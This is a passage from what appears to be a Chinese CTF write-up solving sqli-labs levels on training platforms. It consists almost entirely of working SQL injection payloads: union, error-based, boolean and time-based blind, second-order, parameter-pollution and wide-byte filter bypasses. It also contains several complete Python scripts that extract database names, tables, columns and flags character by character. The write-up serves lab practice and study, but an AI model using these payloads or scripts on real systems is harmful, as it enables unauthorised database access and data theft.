\u0026#34;http://46be5e92-e82c-4f5b-a5b9-5a6fa17b8493.node4.buuoj.cn/Less-5/?id=2 \u0026#39;and \u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # payload=\u0026#34;if(ascii(substr(database(),{},1))\u0026gt;{},1,0) %23\u0026#34;.format(i,mid) #查所在库 # payload=\u0026#34;if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},1,0) %23\u0026#34;.format(i,mid) #查全部库 # payload=\u0026#34;if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},1,0) %23\u0026#34;.format(i,mid) #查水表名 # payload=\u0026#34;if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},1,0) %23\u0026#34;.format(i,mid) #查水表 payload=\u0026#34;if(ascii(substr((select flag from ctftraining.flag),{},1))\u0026gt;{},1,0) %23\u0026#34;.format(i,mid) #爆flag # print(url+payload) r=requests.get(url+payload) # print(r.text) time.sleep(1) #buu蛋疼的限制所限制 if \u0026#34;You are in...........\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 第六关 脚本中url的 ‘ 改 \\“ 就行了\n第七关 到第一关查路径先 ?id=-1’union select 1,@@basedir,@@datadir %23 Your Login name:/usr Your Password:/var/lib/mysql/ emmmm网站路径写不进去？？？？ 上面那个貌似不是路径 记录一下还没写出来 语句是union select 1,2,’‘into outfile ‘路径’\n第八关 第五个脚本可以用\n第九关 判断闭合 and if(1=2,1,sleep(10)) # 看刷新时间 一般闭合为 ‘ “ ‘) “)多试试加括号。。。应该是这样 时间盲注 贴给脚本\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requests import time url = \u0026#34;http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-9/?id=2 \u0026#39;and \u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 payload=\u0026#34;if(ascii(substr(database(),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},1,0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select flag from ctftraining.flag),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # print(url+payload) start_time=time.time() r=requests.get(url+payload) #print(r.text) if time.time()-start_time\u0026gt;=1: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 第十关 把上面payload的’改为\u0026quot;\n第十一关 跟第一关一样，只是改了请求方式 字段改了为2 其中%23改为# 不需要编码了 -1’ union select 1,flag from ctftraining.flag #\n第十二关 跟第十一关一样，把’改为”) -1”) union select 1,flag from ctftraining.flag#\n第十三关 post类型盲注，还好学了一丢丢爬虫 这边贴个脚本。。。在前几个脚本基础上做的修改\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import time url = \u0026#34;http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-13/\u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39;) or if(ascii(substr((select flag from ctftraining.flag),{},1))\u0026gt;{},1,0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} r=requests.post(url=url,data=data) # print(r.text) time.sleep(1) if \u0026#34;flag.jpg\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 第十四关 把上面中的 ‘) 换成 “\n第十五关 判断闭合’ or if(1=2,1,sleep(10)) # 时间盲注POST版 贴上我的脚本\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 import requests import time url = \u0026#34;http://e4cb6dc3-7b2c-4c2a-913c-c7e1a9dae714.node4.buuoj.cn/Less-15/\u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39; or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},sleep(1),0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39; or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},sleep(0.5),0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39; or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},sleep(0.5),0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} # data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39; or if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},sleep(0.5),0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} data={\u0026#34;uname\u0026#34;: \u0026#34;1\u0026#39; or if(ascii(substr((select flag from ctftraining.flag),{},1))\u0026gt;{},sleep(0.5),0) #\u0026#34;.format(i,mid),\u0026#34;passwd\u0026#34;: 1} start_time=time.time() r=requests.post(url=url,data=data) #print(r.text) if time.time()-start_time\u0026gt;=1: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 第十六关 判断闭合 “)or if(1=2,1,sleep(10)) # 把上面脚本的 ‘ 改为 \u0026ldquo;)\n第十七关 username必须得admin才行，没想到。。靠！！！ 报错注入 1’ or updatexml(1,concat(0x26,database(),0x26),1)# 1’ or updatexml(1,concat(0x26,database(),0x26),1)# 1’ or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1’ or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 左右拼接一下就是库名 ····中间差不多不多赘述了 1’ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1)# 1’ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1)# 左右拼接一下就是flag\n另一个函数 注：该函数一次只能查询32位长度 extractvalue(1,concat(0x26,(SQL语句),0x26));\n第十八关 把UA换成 ‘ or updatexml(1,concat(0x26,database(),0x26),1)and’ 应该是后面还有语句，没想到。。。看看源码\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 $result1 = mysql_query($sql); $row1 = mysql_fetch_array($result1); if($row1)//登录成功 { //将用户的uagent,ip,uname插入到一张表中 $insert=\u0026#34;INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES (\u0026#39;$uagent\u0026#39;, \u0026#39;$IP\u0026#39;, $uname)\u0026#34;; mysql_query($insert); //进行插入数据 echo \u0026#39;Your User Agent is: \u0026#39; .$uagent; print_r(mysql_error()); //输出详细错误 } else { echo \u0026#39;\u0026lt;font color= \u0026#34;#0000ff\u0026#34; font size=\u0026#34;3\u0026#34;\u0026gt;\u0026#39;; print_r(mysql_error()); //输出详细错误 echo \u0026#39;\u0026lt;img src=\u0026#34;../images/slap.jpg\u0026#34; /\u0026gt;\u0026#39;; echo \u0026#34;\u0026lt;/font\u0026gt;\u0026#34;; } 果然是 ‘ or updatexml(1,concat(0x26,(select right(flag,30) from ctftraining.flag),0x26),1) and ‘ ‘ or updatexml(1,concat(0x26,(select left(flag,30) from ctftraining.flag),0x26),1) and ‘ 读取flag\n第十九关 改referer和上面一样\n第二十关 这个不看源码做不了吧。。。。。\n1 2 3 4 //uname和passwd都做了过滤,而cookie没有，直接获取 $cookee = $_COOKIE[\u0026#39;uname\u0026#39;]; $sql=\u0026#34;SELECT * FROM users WHERE username=\u0026#39;$cookee\u0026#39; LIMIT 0,1\u0026#34;; //存在一个跟cookie相关的sql语句操作，由于未进行任何过滤，所以存在cookie注入 buu没有回显。。。。 ctfshow有。。。 常规注入 不做赘述 查看17题\n第二十一关 记得base64编码 admin’) or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)# admin’) or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=’flag’),0x26),1)# admin’) or updatexml(1,concat(0x26,(select right(group_concat(flag4),30) from ctfshow.flag),0x26),1)# ctfshow{2e2f5457-7c1f-4c62-be9b-e60e06bcf98f}\n第二十二关 把上面的’)改“ 步骤差不多 ctfshow{58706930-1993-4c33-98d4-91326f15b2c2}\n第二十三关 ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)and ‘ 然后差不多 ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)and ‘ ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from information_schema.columns where table_name=’flag’),0x26),1)and ‘ ?id=1’or updatexml(1,concat(0x26,(select left(group_concat(flag4),30) from ctfshow.flag),0x26),1)and ‘ ctfshow{c3322c5b-e92d-4b1b-82d0-d18b4f075da6}\n第二十四关 可以改管理员密码。。不太会，查不到库里面的数据\nYou tried to be smart, Try harder!!!! :( 别骂了别骂了。。 admin’ or if(1=2,1,sleep(5)) #让服务器炸了 二次注入加时间盲注\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 import requests session=requests.session() i=0 result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # payload = f\u0026#39;if(ascii(substr((select group_concat(table_name)from(information_schema.tables)where(table_schema=\u0026#34;ctfshow\u0026#34;)),{i},1))\u0026gt;{mid},sleep(1),0)\u0026#39; # payload = f\u0026#39;if(ascii(substr((select group_concat(column_name)from(information_schema.columns)where(table_schema=\u0026#34;ctfshow\u0026#34;)),{i},1))\u0026gt;{mid},sleep(0.7),0)\u0026#39; payload = \u0026#39;if(ascii(substr((select group_concat(flag4)from(ctfshow.flag)),{},1))\u0026gt;{},sleep(1),0)\u0026#39;.format(i,mid) username = \u0026#34;admin\u0026#39; and {} or \u0026#39;2\u0026#39;=\u0026#39;2\u0026#34;.format(payload) url1 = \u0026#39;http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login_create.php\u0026#39; data1 = { \u0026#39;username\u0026#39;: username, \u0026#39;password\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;re_password\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;submit\u0026#39;: \u0026#39;Register\u0026#39; } r1 = session.post(url1, data=data1) url2 = \u0026#39;http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/login.php\u0026#39; data2 = { \u0026#39;login_user\u0026#39;: username, \u0026#39;login_password\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;mysubmit\u0026#39;: \u0026#39;Login\u0026#39;, } r2 = session.post(url2, data=data2) url3 = \u0026#39;http://58962273-3e5b-4881-8bef-750836065431.challenge.ctf.show:8080/pass_change.php\u0026#39; data3 = { \u0026#39;current_password\u0026#39;: \u0026#39;1\u0026#39;, \u0026#39;password\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;re_password\u0026#39;: \u0026#39;2\u0026#39;, \u0026#39;submit\u0026#39;: \u0026#39;Reset\u0026#39; } try: r = session.post(url3,data=data3,timeout=0.9) tail = mid except: head = mid + 1 if head !=32: result+=chr(head) else: break print(result) 第二十五关 报错注入,双写绕过也行 ?id=1%27^extractvalue(1,concat(0x7e,(select(database()))))%23 ?id=1’^updatexml(1,concat(0x26,(select group_concat(schema_name) from infoorrmation_schema.schemata),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(table_name),30) from infoorrmation_schema.tables where table_schema=’ctfshow’),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(column_name),30) from infoorrmation_schema.columns where table_name=’flags’),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ?id=1’^updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ctfshow{80fa6629-bc4a-4564-93b9-106eee1fe209}\n第二十五关a ?id=-1 union select 1,2,group_concat(schema_name)from infoorrmation_schema.schemata%23爆库名 ?id=-1 union select 1,2,group_concat(table_name)from infoorrmation_schema.tables where table_schema=’ctfshow’%23 ?id=-1 union select 1,2,group_concat(column_name)from infoorrmation_schema.columns where table_name=’flags’%23 ?id=-1 union select 1,2,group_concat(flag4s) from ctfshow.flags%23\n第二十六关 ?id=1’^extractvalue(1,concat(0x7e,(select(database())))) and’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(schema_name))from(infoorrmation_schema.schemata)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(‘ctfshow’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)like(‘flags’)),0x26),1)anandd’ ?id=1’^updatexml(1,concat(0x26,(select(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)anandd’ ctfshow{bbad336b-ea6c-4094-8888-c27b7a6ec0d0} b-ea6c-4094-8888\n第二十六关a 盲注\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import requests import time url = \u0026#34;http://923efabc-d503-4bbd-a28d-8f1631620fe1.challenge.ctf.show:8080/\u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # payload=\u0026#34;?id=100\u0026#39;)||if(ascii(substr((select(group_concat(schema_name))from(infoorrmation_schema.schemata)),{},1))\u0026gt;{},1,0)||(\u0026#39;0\u0026#34;.format(i,mid) # payload=\u0026#34;?id=100\u0026#39;)||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=\u0026#39;ctfshow\u0026#39;),{},1))\u0026gt;{},1,0)||(\u0026#39;0\u0026#34;.format(i,mid) #payload=\u0026#34;?id=100\u0026#39;)||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)=\u0026#39;flags\u0026#39;),{},1))\u0026gt;{},1,0)||(\u0026#39;0\u0026#34;.format(i,mid) payload=\u0026#34;?id=100\u0026#39;)||if(ascii(substr((select(flag4s)from(ctfshow.flags)),{},1))\u0026gt;{},1,0)||(\u0026#39;0\u0026#34;.format(i,mid) # print(url+payload) r=requests.get(url+payload) if \u0026#34;Your Password:Dumb\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 第二十七关 大写绕过，也可以用上面的脚本，大写绕过 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(schema_name))from(information_schema.schemata)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(table_name))from(information_schema.tables)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(column_name))from(information_schema.columns)),0x26),1)||’0 ?id=1’^updatexml(1,concat(0x26,(sElect(group_concat(flag4s))from(ctfshow.flags)),0x26),1)||’0 ctfshow{33995233-b6a5-4717-b457-76add1addd7c} ?id=1’^updatexml(1,concat(0x26,(sElect(right(group_concat(flag4s),30))from(ctfshow.flags)),0x26),1)||’0 3-b6a5-4717-b457-76add1addd7c}\n第二十七关a 把教本的’)换成” ctfshow{673c8abe-5548-48b4-b1b7-0338d3f4d45e}\n第二十八关 用脚本闭合 ‘)\n第二十八关a 不能报错注入用脚本\n第二十九关 http参数污染 waf解析前者，服务器解析后者 ?id=1\u0026amp;id=-2’union select 1,2,group_concat(flag4s) from ctfshow.flags %23 ctfshow{97c5088d-09f4-413c-a515-de989a1c32fe}\n第三十关 ?id=1\u0026amp;id=-2“union select 1,2,group_concat(flag4s) from ctfshow.flags %23\n第三十一关 ?id=1\u0026amp;id=-2”)union select 1,2,group_concat(flag4s) from ctfshow.flags %23\n第三十二关 宽字节注入 %df 吃 ?id=-2%df’union select 1,2,group_concat(flag4s) from ctfshow.flags %23\n第三十三关 一样\nlevel 34 十六进制代替 “ “里的东西\n1 �’union select 1,group_concat(schema_name) from information_schema.schemata # 1 �’union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x63746673686f77 #\nlevel 35 有点直接。。。数字型注入？？？ ?id=-1 union select 1,2,flag4s from ctfshow.flags%23\nlevel 36 emmm ?id=-1�’union select 1,2,flag4s from ctfshow.flags%23\nlevel 37 emmm -1�’union select 1,2,flag4s from ctfshow.flags#\nlevel 38 emmm -1�’union select 1,flag4s from ctfshow.flags#\nlevel 39 emmm ?id=-1 union select% 1,2,flag4s from ctfshow.flags%23\nlevel 40 盲注跑脚本就是了\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import requests import time url = \u0026#34;http://591c712f-cd11-4547-94e0-27df596874e3.challenge.ctf.show:8080/\u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 #?id=100\u0026#34;||if(ascii(substr((seLeCt(group_concat(schema_name))from(information_schema.schemata)),1,1))\u0026gt;9999,1,0)||\u0026#34;0 # payload=\u0026#34;?id=100\u0026#39;)||if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),{},1))\u0026gt;{},1,0)%23\u0026#34;.format(i,mid) # payload=\u0026#34;?id=100\u0026#39;)||if(ascii(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)=\u0026#39;ctfshow\u0026#39;),{},1))\u0026gt;{},1,0)||(\u0026#39;0\u0026#34;.format(i,mid) # payload=\u0026#34;?id=100\u0026#39;)||if(ascii(substr((select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_name)=\u0026#39;flags\u0026#39;),{},1))\u0026gt;{},1,0)||(\u0026#39;0\u0026#34;.format(i,mid) payload=\u0026#34;?id=1\u0026#39;) and if(ascii(substr((seLect(flag4s)from(ctfshow.flags)),{},1))\u0026gt;{},1,0)%23\u0026#34;.format(i,mid) # print(url+payload) r=requests.get(url+payload) if \u0026#34;Your Username is : Dumb\u0026#34; in r.text: head=mid+1 else: tail=mid if head !=32: result+=chr(head) else: break print(result) 中间没改，要用的话自己改改\nlevel 41 上面脚本 里面的 ‘) 去掉就行’\nlevel 42 密码处 -1’ union select 1,2,3# -1’ union select 1,flag4s,3 from ctfshow.flags#\nlevel 43 -1’) union select 1,2,3 # -1’) union select 1,flag4s,3 from ctfshow.flags#\nlevel 44 admin’ or if(ascii(substr(database(),1,1))\u0026gt;1,sleep(3),0) # 时间盲注。。脚本改一改\nlevel 45 admin’) or 1=1 # admin’) or if(ascii(substr(database(),1,1))\u0026gt;1,sleep(3),0) # 时间盲注改一改\nlevel 46 报错注入 1 or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(schema_name),30) from information_schema.schemata),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’ctfshow’),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’flags’),0x26),1)# 1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)# 1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)# ctfshow{04b1482e-203c-44f1-8bb6-df5b27801821}\nlevel 47 1’or updatexml(1,concat(0x26,(select left(group_concat(schema_name),30) from information_schema.schemata),0x26),1)%23 .. .. .. .. 1’ or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1’ or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23\nctfshow{749b597e-5a51-495b-b92c-1a3accd21bc0}\n?sort=1’or if(ascii(substr(database(),1,1))\u0026gt;1,sleep(0.5),0) %23\nlevel 48 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests url = \u0026#34;http://ee9f5ee9-1368-4d89-a875-1a44cfdf308e.challenge.ctf.show:8080/?sort=1 and \u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 # payload=\u0026#34;if(ascii(substr(database(),{},1))\u0026gt;{},sleep(0.5),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) payload=\u0026#34;if(ascii(substr((select flag4s from ctfshow.flags),{},1))\u0026gt;{},sleep(0.5),0) %23\u0026#34;.format(i,mid) # print(url+payload) # start_time=time.time() r=requests.get(url+payload) print(url+payload) #print(r.text) try: r = requests.get(url+payload,timeout=0.4) tail = mid except: head = mid + 1 if head !=32: result+=chr(head) else: break print(result) ctfshow{6d997ae2-953d-4117-8563-e426fb32bc65}\nlevel 49 时间盲注\n1’ and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))\u0026gt;2,sleep(0.5),0) %23\n贴个脚本，自己改\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import requests url = \u0026#34;http://583bbd02-c708-41eb-86ab-f792729f9843.node4.buuoj.cn/Less-49/?sort=1\u0026#39; and \u0026#34; result=\u0026#34;\u0026#34; for i in range(1,1290): head=32 tail=127 while head\u0026lt;tail: mid=(head+tail)\u0026gt;\u0026gt;1 payload=\u0026#34;if(ascii(substr(database(),{},1))\u0026gt;{},sleep(0.5),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=\u0026#39;ctftraining\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=\u0026#39;flag\u0026#39;),{},1))\u0026gt;{},sleep(1),0) %23\u0026#34;.format(i,mid) # payload=\u0026#34;if(ascii(substr((select flag4s from ctfshow.flags),{},1))\u0026gt;{},sleep(0.5),0) %23\u0026#34;.format(i,mid) # print(url+payload) # start_time=time.time() r=requests.get(url+payload) print(url+payload) #print(r.text) try: r = requests.get(url+payload,timeout=0.4) tail = mid except: head = mid + 1 if head !=32: result+=chr(head) else: break print(result) level 50 1 or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1 or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23\nctfshow{0f3c691a-ba65-4f5b-ad46-bc0e58100b9e}\nlevel 51 1’or updatexml(1,concat(0x26,(select right(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 1’or updatexml(1,concat(0x26,(select left(group_concat(flag4s),30) from ctfshow.flags),0x26),1)%23 ctfshow{23972c5c-3569-4115-8572-0f754336659a}\nlevel 52 时间盲注 ?sort=1 and if(ascii(substr((seleCt(group_concat(schema_name))from(information_schema.schemata)),1,1))\u0026gt;2,sleep(5),0) %23 49那个脚本改一改\nlevel 53 时间盲注脚本跑一跑 ?sort=1’ and if(ascii(substr(database(),1,1))\u0026gt;114,sleep(0.5),0) %23\nlevel 54 网上没环境了 用docker搭了个环境自己做 10次机会 先写好语句 id=-1’ union select 1,group_concat(schema_name),3 from information_schema.schemata %23 id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’ %23 N4QU4VGMDT id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’N4QU4VGMDT’ %23 secret_XA5R ?id=-1’union select 1,group_concat(secret_XA5R),3 from challenges.N4QU4VGMDT %23\nlevel 55 ?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 ?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’RW5TWVFDYU’%23 ?id=-1) union select 1,group_concat(secret_O1KM),3 from challenges.RW5TWVFDYU%23\nlevel 56 ?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 MMFDGR6C60 ?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’MMFDGR6C60’%23 secret_ZGCM ?id=-1’) union select 1,group_concat(secret_ZGCM),3 from challenges.MMFDGR6C60%23\nlevel 57 ?id=-1” union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’challenges’%23 UCNSDJBA2P ?id=-1” union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’UCNSDJBA2P’%23 secret_7COO ?id=-1” union select 1,group_concat(secret_7COO),3 from challenges.UCNSDJBA2P%23\nlevel 58 没有回显,有报错信息 报错注入 1’ or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 WMYP9VS7T2 1’ or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’WMYP9VS7T2’),0x26),1)%23 secret_YKLV 1’ or updatexml(1,concat(0x26,(select right(group_concat(secret_YKLV),30) from challenges.WMYP9VS7T2),0x26),1)%23 BzE8UovoHobfXoFK5rflIeMo\nlevel 59 ?id=1 or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 WZBWCK0O8M ?id=1 or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’WZBWCK0O8M’),0x26),1)%23 secret_CNZ0 ?id=1 or updatexml(1,concat(0x26,(select right(group_concat(secret_CNZ0),30) from challenges.WZBWCK0O8M),0x26),1)%23 JeF0NQQk0TXsVJM6MzoPbtiL\nlevel 60 ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 IYK33M1WVE ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(column_name),30) from information_schema.columns where table_name=’IYK33M1WVE’),0x26),1)%23 secret_WL6G ?id=1”)or updatexml(1,concat(0x26,(select right(group_concat(secret_WL6G),30) from challenges.IYK33M1WVE),0x26),1)%23 f3Vhf9q9mInCQoAqyOXGCLcy\nlevel 61 ?id=1’))or updatexml(1,concat(0x26,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=’challenges’),0x26),1)%23 UEEUBQKDFE ?id=1’))or 